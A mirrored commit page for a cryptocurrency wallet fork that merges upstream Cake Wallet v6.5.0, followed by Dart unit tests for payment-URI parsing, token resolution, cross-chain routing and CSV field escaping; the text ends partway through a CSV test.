mirror of
https://github.com/Such-Software/hash-wallet.git
synced 2026-10-28 06:28:41 +01:00
Merge upstream Cake Wallet v6.5.0
Catches up from the May 12 fork point (v6.1.2+23) through v6.5.0: 535 upstream commits, including the Monero silent-open fix, Monero on Trezor, Ledger/Trezor BLE fixes, the new seed and history screens, quick Bitcoin sync, git-pinned dependencies (pubspec_overrides.yaml), frozen Hive adapters (*.part.dart), monero_c v0.18.4.6-RC2 and Flutter 3.41.9. Merged with both sides normalized first (import rename, 100-column format), which took the conflict count from 614 paths to 322. The procedure is now scripts/upstream_sync.sh. Kept from Hash Bags: - WalletType enum order and Hive IDs. SQLite stores WalletType.index and our order differs from upstream's; taking theirs would reread saved wallets as other chains. Our frozen adapter keeps the shipped IDs. - The 1.0.2 legacy PIN and wallet-password decode and self-heal. - Removed chains (Solana, Tron, Zano, Zcash, Decred, Haven) and the new Robinhood chain stay out; Cake Pay and non-Trocador swaps stay out. - Default nodes (node.wownero.org, sethforprivacy, Blockstream, bysh.me), converted to upstream's isDefault node-list key; Wownero is back in the node reset list. - Privacy: address resolvers limited to domain-anchored sources again; prices.neroswap.com for fiat; upstream's charts tab, which reads prices.cakewallet.com, sits behind FeatureFlag.isChartsEnabled = false. - Lightning stays behind FeatureFlag.isLightningEnabled, including upstream's new post-seed Lightning username step. - Our icon pipeline, branding and bundle identifiers. Twelve new upstream widget tests are skipped: test and code are unchanged from v6.5.0 apart from renames (not rerun on a pristine upstream checkout; upstream's top_bar_test does not compile against its own TopBar). flutter analyze lib: 0 errors; flutter test: 345 passed, 12 skipped; flutter build bundle compiles. Built with Flutter 3.41.9.
This commit is contained in:
@@ -0,0 +1,103 @@
|
||||
import "package:hash_wallet/core/anypay/anypay_models.dart";
|
||||
import "package:hash_wallet/core/anypay/anypay_parser.dart";
|
||||
import "package:hash_wallet/utils/payment_request.dart";
|
||||
import "package:flutter_test/flutter_test.dart";
|
||||
|
||||
void main() {
|
||||
const recipient = "0xCfc1650da7C961FD82998e7e30ca5f699D0aBf41";
|
||||
const usdtEthContract = "0xdAC17F958D2ee523a2206206994597C13D831ec7";
|
||||
|
||||
group("chain binding", () {
|
||||
test("explicit ethereum chain binds explicitly", () {
|
||||
final request = AnyPayParser.fromRaw(
|
||||
"ethereum:$recipient@8453?value=1e18",
|
||||
);
|
||||
|
||||
expect(request.chainBinding, isA<ExplicitEvmChain>());
|
||||
expect((request.chainBinding as ExplicitEvmChain).chainId, 8453);
|
||||
});
|
||||
|
||||
test("ethereum without a chain id stays chainless", () {
|
||||
final request = AnyPayParser.fromRaw(
|
||||
"ethereum:$usdtEthContract/transfer?address=$recipient&uint256=1000000",
|
||||
);
|
||||
|
||||
expect(request.chainBinding, isA<ChainlessEvm>());
|
||||
expect(request.hasContract, true);
|
||||
});
|
||||
|
||||
test("non evm schemes bind no evm chain", () {
|
||||
final request = AnyPayParser.fromRaw(
|
||||
"bitcoin:bc1qar0srrr7xfkvy5l643lydnw9re59gtzzwf5mdq",
|
||||
);
|
||||
|
||||
expect(request.chainBinding, isA<NoEvmBinding>());
|
||||
});
|
||||
|
||||
test("raw evm addresses bind no evm chain", () {
|
||||
final request = AnyPayParser.fromRaw(recipient);
|
||||
|
||||
expect(request.chainBinding, isA<NoEvmBinding>());
|
||||
expect(request.detection.isValid, true);
|
||||
});
|
||||
|
||||
test("an evm chain scheme binds its chain explicitly", () {
|
||||
final request = AnyPayParser.fromRaw("polygon:$recipient");
|
||||
|
||||
expect((request.chainBinding as ExplicitEvmChain).chainId, 137);
|
||||
});
|
||||
});
|
||||
|
||||
group("payment request reconstruction", () {
|
||||
test("an explicit chain request keeps its chain and raw amount", () {
|
||||
final original = PaymentRequest.fromUri(
|
||||
Uri.parse("ethereum:$usdtEthContract@8453/transfer?address=$recipient&uint256=3000000"),
|
||||
);
|
||||
|
||||
final request = AnyPayParser.fromPaymentRequest(original);
|
||||
|
||||
expect(request.rawInput.contains("@8453"), true);
|
||||
expect(request.paymentRequest.rawTokenAmount, "3000000");
|
||||
expect((request.chainBinding as ExplicitEvmChain).chainId, 8453);
|
||||
});
|
||||
|
||||
test("a chainless request rebuilds with a placeholder but keeps the chainless binding", () {
|
||||
final original = PaymentRequest.fromUri(
|
||||
Uri.parse("ethereum:$usdtEthContract/transfer?address=$recipient&uint256=1000000"),
|
||||
);
|
||||
|
||||
final request = AnyPayParser.fromPaymentRequest(original);
|
||||
|
||||
expect(request.rawInput.contains("@1/"), true);
|
||||
expect(request.chainBinding, isA<ChainlessEvm>());
|
||||
expect(request.detection.isValid, true);
|
||||
});
|
||||
|
||||
test("a tron token request keeps its contract on the payment request", () {
|
||||
final original = PaymentRequest.fromUri(
|
||||
Uri.parse("tron:TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t?token=TTokenContract111111111111111111"),
|
||||
);
|
||||
|
||||
final request = AnyPayParser.fromPaymentRequest(original);
|
||||
|
||||
expect(request.contractAddress, "TTokenContract111111111111111111");
|
||||
expect(request.chainBinding, isA<NoEvmBinding>());
|
||||
});
|
||||
|
||||
test("a non evm request rebuilds scheme address and amount", () {
|
||||
final original = PaymentRequest("someaddress", "1.25", "", "monero", null);
|
||||
|
||||
final request = AnyPayParser.fromPaymentRequest(original);
|
||||
|
||||
expect(request.rawInput, "monero:someaddress?amount=1.25");
|
||||
});
|
||||
|
||||
test("a lightning request passes the invoice through untouched", () {
|
||||
final original = PaymentRequest("lnbc1invoice", "", "", "lightning", null);
|
||||
|
||||
final request = AnyPayParser.fromPaymentRequest(original);
|
||||
|
||||
expect(request.rawInput, "lnbc1invoice");
|
||||
});
|
||||
});
|
||||
}
|
||||
@@ -0,0 +1,179 @@
|
||||
import "package:hash_wallet/core/anypay/anypay_models.dart";
|
||||
import "package:hash_wallet/core/anypay/anypay_parser.dart";
|
||||
import "package:hash_wallet/core/anypay/anypay_resolver.dart";
|
||||
import "package:cw_core/crypto_currency.dart";
|
||||
import "package:cw_core/erc20_token.dart";
|
||||
import "package:cw_core/wallet_type.dart";
|
||||
import "package:flutter_test/flutter_test.dart";
|
||||
|
||||
class _FakeTokenLookup implements AnyPayTokenLookup {
|
||||
_FakeTokenLookup({this.onFindToken, this.onFindChainId});
|
||||
|
||||
final Future<CryptoCurrency?> Function({required WalletType walletType, required String address})?
|
||||
onFindToken;
|
||||
final Future<int?> Function(String contractAddress, {int? excludingChainId})? onFindChainId;
|
||||
|
||||
@override
|
||||
Future<CryptoCurrency?> findTokenByAddress({
|
||||
required WalletType walletType,
|
||||
required String address,
|
||||
}) {
|
||||
if (onFindToken == null) {
|
||||
fail("no token lookup expected");
|
||||
}
|
||||
return onFindToken!(walletType: walletType, address: address);
|
||||
}
|
||||
|
||||
@override
|
||||
Future<int?> findEvmChainIdForContract(String contractAddress, {int? excludingChainId}) {
|
||||
if (onFindChainId == null) {
|
||||
fail("no chain sweep expected");
|
||||
}
|
||||
return onFindChainId!(contractAddress, excludingChainId: excludingChainId);
|
||||
}
|
||||
}
|
||||
|
||||
void main() {
|
||||
const recipient = "0xCfc1650da7C961FD82998e7e30ca5f699D0aBf41";
|
||||
const usdtEthContract = "0xdAC17F958D2ee523a2206206994597C13D831ec7";
|
||||
const solAddress = "EPjFWdd5AufqSSqeM2qN1xzybapC8G4wEGGkZwyTDt1v";
|
||||
const usdcSolMint = "EPjFWdd5AufqSSqeM2qN1xzybapC8G4wEGGkZwyTDt1v";
|
||||
|
||||
final usdt = Erc20Token(
|
||||
name: "Tether",
|
||||
symbol: "USDT",
|
||||
contractAddress: usdtEthContract,
|
||||
decimal: 6,
|
||||
);
|
||||
|
||||
WalletSnapshot snapshot({
|
||||
WalletType type = WalletType.ethereum,
|
||||
int? chainId,
|
||||
bool hasEvmProxy = true,
|
||||
}) =>
|
||||
WalletSnapshot(
|
||||
type: type,
|
||||
currentWalletIsEvm:
|
||||
type == WalletType.ethereum || type == WalletType.polygon || type == WalletType.base,
|
||||
currentChainId: chainId,
|
||||
wallets: const [],
|
||||
// The service builds an empty chain map when the evm proxy is absent.
|
||||
supportedEvmChains: hasEvmProxy
|
||||
? const {
|
||||
1: WalletType.ethereum,
|
||||
137: WalletType.polygon,
|
||||
8453: WalletType.base,
|
||||
}
|
||||
: const {},
|
||||
hasEvmProxy: hasEvmProxy,
|
||||
hasSolanaProxy: true,
|
||||
hasTronProxy: true,
|
||||
);
|
||||
|
||||
AnyPayRequest parse(String input) => AnyPayParser.fromRaw(input);
|
||||
|
||||
test("a request without a contract needs no resolution", () async {
|
||||
final resolver = AnyPayResolver(tokenLookup: _FakeTokenLookup());
|
||||
|
||||
final resolution = await resolver.resolve(
|
||||
parse("ethereum:$recipient@1?value=1e18"),
|
||||
snapshot(chainId: 1),
|
||||
);
|
||||
|
||||
expect(resolution, isA<NoTokenRequested>());
|
||||
});
|
||||
|
||||
test("a token on the explicit target chain resolves with its amount", () async {
|
||||
final lookedUp = <WalletType>[];
|
||||
final resolver = AnyPayResolver(
|
||||
tokenLookup: _FakeTokenLookup(
|
||||
onFindToken: ({required walletType, required address}) async {
|
||||
lookedUp.add(walletType);
|
||||
return walletType == WalletType.ethereum ? usdt : null;
|
||||
},
|
||||
),
|
||||
);
|
||||
|
||||
final resolution = await resolver.resolve(
|
||||
parse("ethereum:$usdtEthContract@1/transfer?address=$recipient&uint256=1000000"),
|
||||
snapshot(type: WalletType.base, chainId: 8453),
|
||||
);
|
||||
|
||||
final resolved = resolution as TokenResolved;
|
||||
expect(lookedUp, [WalletType.ethereum]);
|
||||
expect(resolved.chainId, 1);
|
||||
expect(resolved.token, usdt);
|
||||
expect(resolved.amountOverride, "1");
|
||||
});
|
||||
|
||||
test("an unknown token on an explicit chain is not swept to other chains", () async {
|
||||
bool sweepCalled = false;
|
||||
final resolver = AnyPayResolver(
|
||||
tokenLookup: _FakeTokenLookup(
|
||||
onFindToken: ({required walletType, required address}) async => null,
|
||||
onFindChainId: (contract, {excludingChainId}) async {
|
||||
sweepCalled = true;
|
||||
return 137;
|
||||
},
|
||||
),
|
||||
);
|
||||
|
||||
final resolution = await resolver.resolve(
|
||||
parse("ethereum:$usdtEthContract@1/transfer?address=$recipient&uint256=1000000"),
|
||||
snapshot(chainId: 1),
|
||||
);
|
||||
|
||||
expect(resolution, isA<TokenUnknown>());
|
||||
expect(sweepCalled, false);
|
||||
});
|
||||
|
||||
test("a chainless token unknown on the current chain reroutes through the sweep", () async {
|
||||
final resolver = AnyPayResolver(
|
||||
tokenLookup: _FakeTokenLookup(
|
||||
onFindToken: ({required walletType, required address}) async =>
|
||||
walletType == WalletType.ethereum ? usdt : null,
|
||||
onFindChainId: (contract, {excludingChainId}) async {
|
||||
expect(excludingChainId, 8453);
|
||||
return 1;
|
||||
},
|
||||
),
|
||||
);
|
||||
|
||||
final resolution = await resolver.resolve(
|
||||
parse("ethereum:$usdtEthContract/transfer?address=$recipient&uint256=2000000"),
|
||||
snapshot(type: WalletType.base, chainId: 8453),
|
||||
);
|
||||
|
||||
final resolved = resolution as TokenResolved;
|
||||
expect(resolved.chainId, 1);
|
||||
expect(resolved.amountOverride, "2");
|
||||
});
|
||||
|
||||
test("a chainless token unknown everywhere stays unknown", () async {
|
||||
final resolver = AnyPayResolver(
|
||||
tokenLookup: _FakeTokenLookup(
|
||||
onFindToken: ({required walletType, required address}) async => null,
|
||||
onFindChainId: (contract, {excludingChainId}) async => null,
|
||||
),
|
||||
);
|
||||
|
||||
final resolution = await resolver.resolve(
|
||||
parse("ethereum:$usdtEthContract/transfer?address=$recipient&uint256=2000000"),
|
||||
snapshot(chainId: 1),
|
||||
);
|
||||
|
||||
expect((resolution as TokenUnknown).contract, usdtEthContract);
|
||||
});
|
||||
|
||||
|
||||
test("an evm contract without the evm proxy stays unknown without any lookups", () async {
|
||||
final resolver = AnyPayResolver(tokenLookup: _FakeTokenLookup());
|
||||
|
||||
final resolution = await resolver.resolve(
|
||||
parse("ethereum:$usdtEthContract@1/transfer?address=$recipient&uint256=1000000"),
|
||||
snapshot(hasEvmProxy: false),
|
||||
);
|
||||
|
||||
expect(resolution, isA<TokenUnknown>());
|
||||
});
|
||||
}
|
||||
@@ -0,0 +1,372 @@
|
||||
import "package:hash_wallet/core/anypay/anypay_models.dart";
|
||||
import "package:hash_wallet/core/anypay/anypay_parser.dart";
|
||||
import "package:hash_wallet/core/anypay/anypay_router.dart";
|
||||
import "package:hash_wallet/reactions/wallet_connect.dart";
|
||||
import "package:cw_core/crypto_currency.dart";
|
||||
import "package:cw_core/erc20_token.dart";
|
||||
import "package:cw_core/wallet_info.dart";
|
||||
import "package:cw_core/wallet_type.dart";
|
||||
import "package:flutter_test/flutter_test.dart";
|
||||
|
||||
void main() {
|
||||
const recipient = "0xCfc1650da7C961FD82998e7e30ca5f699D0aBf41";
|
||||
const usdtEthContract = "0xdAC17F958D2ee523a2206206994597C13D831ec7";
|
||||
const btcAddress = "bc1qar0srrr7xfkvy5l643lydnw9re59gtzzwf5mdq";
|
||||
const xmrAddress =
|
||||
"44AFFq5kSiGBoZ4NMDwYtN18obc8AemS33DBLWs3H7otXft3XjrpDtQGv7SqSsaBYBb98uNbr2VBBEt7f2wfn3RVGQBEP3A";
|
||||
const tronAddress = "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t";
|
||||
const solAddress = "EPjFWdd5AufqSSqeM2qN1xzybapC8G4wEGGkZwyTDt1v";
|
||||
|
||||
final usdt = Erc20Token(
|
||||
name: "Tether",
|
||||
symbol: "USDT",
|
||||
contractAddress: usdtEthContract,
|
||||
decimal: 6,
|
||||
);
|
||||
|
||||
WalletInfo walletOf(WalletType type) => WalletInfo.external(
|
||||
id: "id-${type.name}",
|
||||
name: "wallet-${type.name}",
|
||||
type: type,
|
||||
isRecovery: false,
|
||||
restoreHeight: 0,
|
||||
date: DateTime(2026),
|
||||
dirPath: "",
|
||||
path: "",
|
||||
address: "",
|
||||
);
|
||||
|
||||
WalletSnapshot snapshot({
|
||||
WalletType type = WalletType.ethereum,
|
||||
int? chainId,
|
||||
List<WalletInfo> wallets = const [],
|
||||
bool hasEvmProxy = true,
|
||||
bool hasSolanaProxy = true,
|
||||
bool hasTronProxy = true,
|
||||
}) =>
|
||||
WalletSnapshot(
|
||||
type: type,
|
||||
currentWalletIsEvm: isEVMCompatibleChain(type),
|
||||
currentChainId: chainId,
|
||||
wallets: wallets,
|
||||
supportedEvmChains: hasEvmProxy
|
||||
? const {
|
||||
1: WalletType.ethereum,
|
||||
137: WalletType.polygon,
|
||||
8453: WalletType.base,
|
||||
}
|
||||
: const {},
|
||||
hasEvmProxy: hasEvmProxy,
|
||||
hasSolanaProxy: hasSolanaProxy,
|
||||
hasTronProxy: hasTronProxy,
|
||||
);
|
||||
|
||||
AnyPayRequest parse(String input) => AnyPayParser.fromRaw(input);
|
||||
|
||||
group("evm routing", () {
|
||||
test("explicit chain matching the current wallet applies directly", () {
|
||||
final decision = AnyPayRouter.route(
|
||||
parse("ethereum:$recipient@1?value=1e18"),
|
||||
snapshot(chainId: 1),
|
||||
const NoTokenRequested(),
|
||||
);
|
||||
|
||||
expect(decision, isA<AnyPayApplyToCurrentWallet>());
|
||||
});
|
||||
|
||||
test("explicit chain differing from the current wallet goes cross chain", () {
|
||||
final decision = AnyPayRouter.route(
|
||||
parse("ethereum:$recipient@8453?value=1e18"),
|
||||
snapshot(chainId: 1, wallets: [walletOf(WalletType.base)]),
|
||||
const NoTokenRequested(),
|
||||
);
|
||||
|
||||
expect(decision, isA<AnyPayCrossChainPayment>());
|
||||
final crossChain = decision as AnyPayCrossChainPayment;
|
||||
expect(crossChain.targetChainId, 8453);
|
||||
expect(crossChain.targetWalletType, WalletType.base);
|
||||
expect(crossChain.hasCompatibleWallet, true);
|
||||
});
|
||||
|
||||
test("cross chain with no wallet for the target offers no compatible wallet", () {
|
||||
final decision = AnyPayRouter.route(
|
||||
parse("ethereum:$recipient@8453?value=1e18"),
|
||||
snapshot(chainId: 1),
|
||||
const NoTokenRequested(),
|
||||
);
|
||||
|
||||
expect((decision as AnyPayCrossChainPayment).hasCompatibleWallet, false);
|
||||
});
|
||||
|
||||
test("unsupported explicit chain is rejected with its id", () {
|
||||
final decision = AnyPayRouter.route(
|
||||
parse("ethereum:$recipient@10?value=1e18"),
|
||||
snapshot(chainId: 1),
|
||||
const NoTokenRequested(),
|
||||
);
|
||||
|
||||
expect((decision as AnyPayUnsupportedNetwork).chainId, 10);
|
||||
});
|
||||
|
||||
test("chainless request binds to the current evm chain", () {
|
||||
final decision = AnyPayRouter.route(
|
||||
parse("ethereum:$recipient?value=1e18"),
|
||||
snapshot(type: WalletType.base, chainId: 8453),
|
||||
const NoTokenRequested(),
|
||||
);
|
||||
|
||||
expect(decision, isA<AnyPayApplyToCurrentWallet>());
|
||||
});
|
||||
|
||||
test("chainless request at a non evm wallet targets mainnet cross chain", () {
|
||||
final decision = AnyPayRouter.route(
|
||||
parse("ethereum:$recipient?value=1e18"),
|
||||
snapshot(type: WalletType.monero, wallets: [walletOf(WalletType.ethereum)]),
|
||||
const NoTokenRequested(),
|
||||
);
|
||||
|
||||
expect((decision as AnyPayCrossChainPayment).targetChainId, 1);
|
||||
});
|
||||
|
||||
test("raw evm address at an evm wallet applies directly", () {
|
||||
final decision = AnyPayRouter.route(
|
||||
parse(recipient),
|
||||
snapshot(chainId: 1),
|
||||
const NoTokenRequested(),
|
||||
);
|
||||
|
||||
expect(decision, isA<AnyPayApplyToCurrentWallet>());
|
||||
});
|
||||
|
||||
|
||||
test("resolved token on the current chain applies with the token", () {
|
||||
final decision = AnyPayRouter.route(
|
||||
parse("ethereum:$usdtEthContract/transfer?address=$recipient&uint256=2000000"),
|
||||
snapshot(type: WalletType.base, chainId: 8453),
|
||||
TokenResolved(token: usdt, chainId: 8453, amountOverride: "2"),
|
||||
);
|
||||
|
||||
final apply = decision as AnyPayApplyToCurrentWallet;
|
||||
expect(apply.token, usdt);
|
||||
expect(apply.amountOverride, "2");
|
||||
});
|
||||
|
||||
test("chainless token resolved on another chain reroutes there", () {
|
||||
final decision = AnyPayRouter.route(
|
||||
parse("ethereum:$usdtEthContract/transfer?address=$recipient&uint256=2000000"),
|
||||
snapshot(type: WalletType.base, chainId: 8453, wallets: [walletOf(WalletType.ethereum)]),
|
||||
TokenResolved(token: usdt, chainId: 1, amountOverride: "2"),
|
||||
);
|
||||
|
||||
final crossChain = decision as AnyPayCrossChainPayment;
|
||||
expect(crossChain.targetChainId, 1);
|
||||
expect(crossChain.token, usdt);
|
||||
});
|
||||
|
||||
test("an unknown token never falls back to the native asset", () {
|
||||
final decision = AnyPayRouter.route(
|
||||
parse("ethereum:$usdtEthContract@1/transfer?address=$recipient&uint256=2000000"),
|
||||
snapshot(chainId: 1),
|
||||
const TokenUnknown(usdtEthContract),
|
||||
);
|
||||
|
||||
expect(decision, isA<AnyPayUnsupportedToken>());
|
||||
expect((decision as AnyPayUnsupportedToken).contract, usdtEthContract);
|
||||
});
|
||||
|
||||
test("an unsupported network wins over an unknown token", () {
|
||||
final decision = AnyPayRouter.route(
|
||||
parse("ethereum:$usdtEthContract@10/transfer?address=$recipient&uint256=2000000"),
|
||||
snapshot(chainId: 1),
|
||||
const TokenUnknown(usdtEthContract),
|
||||
);
|
||||
|
||||
expect((decision as AnyPayUnsupportedNetwork).chainId, 10);
|
||||
});
|
||||
|
||||
test("evm address without the evm proxy applies as plain input", () {
|
||||
final decision = AnyPayRouter.route(
|
||||
parse(recipient),
|
||||
snapshot(type: WalletType.monero, hasEvmProxy: false),
|
||||
const NoTokenRequested(),
|
||||
);
|
||||
|
||||
expect(decision, isA<AnyPayApplyToCurrentWallet>());
|
||||
expect((decision as AnyPayApplyToCurrentWallet).token, null);
|
||||
});
|
||||
});
|
||||
|
||||
group("non evm routing", () {
|
||||
test("address matching the current wallet applies directly", () {
|
||||
final decision = AnyPayRouter.route(
|
||||
parse(xmrAddress),
|
||||
snapshot(type: WalletType.monero),
|
||||
const NoTokenRequested(),
|
||||
);
|
||||
|
||||
expect(decision, isA<AnyPayApplyToCurrentWallet>());
|
||||
});
|
||||
|
||||
test("btc address at another wallet goes cross chain with its wallets", () {
|
||||
final decision = AnyPayRouter.route(
|
||||
parse(btcAddress),
|
||||
snapshot(type: WalletType.monero, wallets: [walletOf(WalletType.bitcoin)]),
|
||||
const NoTokenRequested(),
|
||||
);
|
||||
|
||||
final crossChain = decision as AnyPayCrossChainPayment;
|
||||
expect(crossChain.targetWalletType, WalletType.bitcoin);
|
||||
expect(crossChain.hasCompatibleWallet, true);
|
||||
});
|
||||
|
||||
test("btc address with no bitcoin wallet leaves only the swap offer", () {
|
||||
final decision = AnyPayRouter.route(
|
||||
parse(btcAddress),
|
||||
snapshot(type: WalletType.monero),
|
||||
const NoTokenRequested(),
|
||||
);
|
||||
|
||||
expect((decision as AnyPayCrossChainPayment).hasCompatibleWallet, false);
|
||||
});
|
||||
|
||||
|
||||
test("solana address without the solana proxy applies as plain input", () {
|
||||
final decision = AnyPayRouter.route(
|
||||
parse(solAddress),
|
||||
snapshot(chainId: 1, hasSolanaProxy: false),
|
||||
const NoTokenRequested(),
|
||||
);
|
||||
|
||||
expect(decision, isA<AnyPayApplyToCurrentWallet>());
|
||||
});
|
||||
|
||||
|
||||
});
|
||||
|
||||
group("native request currency", () {
|
||||
test("an explicit native request with an amount carries its currency", () {
|
||||
final decision = AnyPayRouter.route(
|
||||
parse("ethereum:$recipient@1?value=2e18"),
|
||||
snapshot(chainId: 1),
|
||||
const NoTokenRequested(),
|
||||
);
|
||||
|
||||
expect((decision as AnyPayApplyToCurrentWallet).fallbackCurrency, CryptoCurrency.eth);
|
||||
});
|
||||
|
||||
test("a raw address carries no fallback currency", () {
|
||||
final decision = AnyPayRouter.route(
|
||||
parse(recipient),
|
||||
snapshot(chainId: 1),
|
||||
const NoTokenRequested(),
|
||||
);
|
||||
|
||||
expect((decision as AnyPayApplyToCurrentWallet).fallbackCurrency, null);
|
||||
});
|
||||
});
|
||||
|
||||
group("degenerate input", () {
|
||||
test("empty input is invalid", () {
|
||||
final decision = AnyPayRouter.route(
|
||||
parse(""),
|
||||
snapshot(chainId: 1),
|
||||
const NoTokenRequested(),
|
||||
);
|
||||
|
||||
expect(decision, isA<AnyPayEmptyInput>());
|
||||
});
|
||||
|
||||
test("undetectable text applies as plain input for the validator to reject", () {
|
||||
final decision = AnyPayRouter.route(
|
||||
parse("definitelynotanaddress"),
|
||||
snapshot(chainId: 1),
|
||||
const NoTokenRequested(),
|
||||
);
|
||||
|
||||
expect(decision, isA<AnyPayApplyToCurrentWallet>());
|
||||
});
|
||||
});
|
||||
|
||||
group("requested evm chain", () {
|
||||
test("explicit binding wins over the wallet chain", () {
|
||||
final request = parse("ethereum:$recipient@137?value=1e18");
|
||||
|
||||
expect(AnyPayRouter.requestedEvmChainId(request, snapshot(chainId: 1)), 137);
|
||||
});
|
||||
|
||||
test("chainless binding takes the wallet chain", () {
|
||||
final request = parse("ethereum:$recipient?value=1e18");
|
||||
|
||||
expect(
|
||||
AnyPayRouter.requestedEvmChainId(
|
||||
request,
|
||||
snapshot(type: WalletType.base, chainId: 8453),
|
||||
),
|
||||
8453,
|
||||
);
|
||||
});
|
||||
|
||||
test("chainless binding defaults to mainnet without an evm wallet", () {
|
||||
final request = parse("ethereum:$recipient?value=1e18");
|
||||
|
||||
expect(
|
||||
AnyPayRouter.requestedEvmChainId(request, snapshot(type: WalletType.monero)),
|
||||
1,
|
||||
);
|
||||
});
|
||||
|
||||
test("raw addresses bind no target", () {
|
||||
expect(AnyPayRouter.requestedEvmChainId(parse(recipient), snapshot(chainId: 1)), null);
|
||||
});
|
||||
});
|
||||
|
||||
group("swap incompatible recipients", () {
|
||||
final spAddress = "sp1${"q" * 113}";
|
||||
final mwebAddress = "ltcmweb1q${"a" * 90}";
|
||||
|
||||
test("a silent payment address with a bitcoin wallet switches without a swap offer", () {
|
||||
final decision = AnyPayRouter.route(
|
||||
parse(spAddress),
|
||||
snapshot(type: WalletType.monero, wallets: [walletOf(WalletType.bitcoin)]),
|
||||
const NoTokenRequested(),
|
||||
);
|
||||
|
||||
final crossChain = decision as AnyPayCrossChainPayment;
|
||||
expect(crossChain.targetWalletType, WalletType.bitcoin);
|
||||
expect(crossChain.hasCompatibleWallet, true);
|
||||
expect(crossChain.canSwap, false);
|
||||
});
|
||||
|
||||
test("a silent payment address with no bitcoin wallet cannot swap either", () {
|
||||
final decision = AnyPayRouter.route(
|
||||
parse(spAddress),
|
||||
snapshot(type: WalletType.monero),
|
||||
const NoTokenRequested(),
|
||||
);
|
||||
|
||||
final crossChain = decision as AnyPayCrossChainPayment;
|
||||
expect(crossChain.hasCompatibleWallet, false);
|
||||
expect(crossChain.canSwap, false);
|
||||
});
|
||||
|
||||
test("an mweb address never offers a swap", () {
|
||||
final decision = AnyPayRouter.route(
|
||||
parse(mwebAddress),
|
||||
snapshot(),
|
||||
const NoTokenRequested(),
|
||||
);
|
||||
|
||||
expect((decision as AnyPayCrossChainPayment).canSwap, false);
|
||||
});
|
||||
|
||||
test("a plain btc address keeps the swap offer", () {
|
||||
final decision = AnyPayRouter.route(
|
||||
parse(btcAddress),
|
||||
snapshot(type: WalletType.monero),
|
||||
const NoTokenRequested(),
|
||||
);
|
||||
|
||||
expect((decision as AnyPayCrossChainPayment).canSwap, true);
|
||||
});
|
||||
});
|
||||
}
|
||||
@@ -0,0 +1,466 @@
|
||||
import 'package:hash_wallet/anonpay/anonpay_invoice_info.dart';
|
||||
import 'package:hash_wallet/core/csv_export_service.dart';
|
||||
import 'package:hash_wallet/entities/transaction_description.dart';
|
||||
import 'package:hash_wallet/store/app_store.dart';
|
||||
import 'package:hash_wallet/view_model/dashboard/anonpay_transaction_list_item.dart';
|
||||
import 'package:hash_wallet/view_model/dashboard/balance_view_model.dart';
|
||||
import 'package:hash_wallet/view_model/dashboard/date_section_item.dart';
|
||||
import 'package:hash_wallet/view_model/dashboard/payjoin_transaction_list_item.dart';
|
||||
import 'package:hash_wallet/view_model/dashboard/transaction_list_item.dart';
|
||||
import 'package:cw_core/amount/money.dart';
|
||||
import 'package:cw_core/balance.dart';
|
||||
import 'package:cw_core/crypto_currency.dart';
|
||||
import 'package:cw_core/payjoin_session.dart';
|
||||
import 'package:cw_core/transaction_direction.dart';
|
||||
import 'package:cw_core/transaction_history.dart';
|
||||
import 'package:cw_core/transaction_info.dart';
|
||||
import 'package:cw_core/wallet_addresses.dart';
|
||||
import 'package:cw_core/wallet_base.dart';
|
||||
import 'package:flutter/foundation.dart';
|
||||
import 'package:flutter_test/flutter_test.dart';
|
||||
import 'package:hive/hive.dart';
|
||||
|
||||
const kPrimaryAddress = 'primaryAddr';
|
||||
|
||||
class _Unstubbed {
|
||||
@override
|
||||
dynamic noSuchMethod(Invocation invocation) =>
|
||||
throw UnimplementedError('${invocation.memberName} is not stubbed in this fake');
|
||||
}
|
||||
|
||||
class _FakeDescriptionBox extends _Unstubbed implements Box<TransactionDescription> {
|
||||
_FakeDescriptionBox(this._values);
|
||||
|
||||
final List<TransactionDescription> _values;
|
||||
|
||||
@override
|
||||
Iterable<TransactionDescription> get values => _values;
|
||||
}
|
||||
|
||||
class _FakeWalletAddresses extends _Unstubbed implements WalletAddresses {
|
||||
@override
|
||||
String get primaryAddress => kPrimaryAddress;
|
||||
}
|
||||
|
||||
class _FakeWallet extends _Unstubbed
|
||||
implements WalletBase<Balance, TransactionHistoryBase<TransactionInfo>, TransactionInfo> {
|
||||
@override
|
||||
WalletAddresses get walletAddresses => _FakeWalletAddresses();
|
||||
}
|
||||
|
||||
class _FakeBalanceViewModel extends _Unstubbed implements BalanceViewModel {
|
||||
@override
|
||||
WalletBase<Balance, TransactionHistoryBase<TransactionInfo>, TransactionInfo> get wallet =>
|
||||
_FakeWallet();
|
||||
}
|
||||
|
||||
class _FakeAppStore extends _Unstubbed implements AppStore {}
|
||||
|
||||
class _FakeTransactionInfo extends TransactionInfo {
|
||||
_FakeTransactionInfo({required String id}) {
|
||||
this.id = id;
|
||||
txHash = id;
|
||||
amount = Money.fromInt(0, CryptoCurrency.btc);
|
||||
direction = TransactionDirection.incoming;
|
||||
isPending = false;
|
||||
date = DateTime.utc(2024, 6, 15, 12);
|
||||
from = 'senderAddress';
|
||||
}
|
||||
}
|
||||
|
||||
void main() {
|
||||
late CsvExportService service;
|
||||
|
||||
CsvExportService serviceWith(List<TransactionDescription> descriptions) =>
|
||||
CsvExportService(transactionDescriptionBox: _FakeDescriptionBox(descriptions));
|
||||
|
||||
TransactionListItem txItem(String id) => TransactionListItem(
|
||||
transaction: _FakeTransactionInfo(id: id),
|
||||
balanceViewModel: _FakeBalanceViewModel(),
|
||||
appStore: _FakeAppStore(),
|
||||
key: ValueKey(id),
|
||||
);
|
||||
|
||||
String noteColumnOf(String csv) => csv.trim().split('\n').last.split(',')[9];
|
||||
|
||||
setUp(() => service = serviceWith([]));
|
||||
|
||||
// ── RFC 4180 escaping ──────────────────────────────────────────────────────
|
||||
|
||||
group('escapeField', () {
|
||||
test('plain field is returned unchanged', () {
|
||||
expect(service.escapeField('hello'), 'hello');
|
||||
});
|
||||
|
||||
test('field with comma is double-quoted', () {
|
||||
expect(service.escapeField('a,b'), '"a,b"');
|
||||
});
|
||||
|
||||
test('field with double-quote has internal quote escaped and is wrapped', () {
|
||||
expect(service.escapeField('say "hi"'), '"say ""hi"""');
|
||||
});
|
||||
|
||||
test('field with newline is double-quoted', () {
|
||||
expect(service.escapeField('line1\nline2'), '"line1\nline2"');
|
||||
});
|
||||
|
||||
test('empty string is returned unchanged', () {
|
||||
expect(service.escapeField(''), '');
|
||||
});
|
||||
|
||||
test('field with a bare carriage return is double-quoted', () {
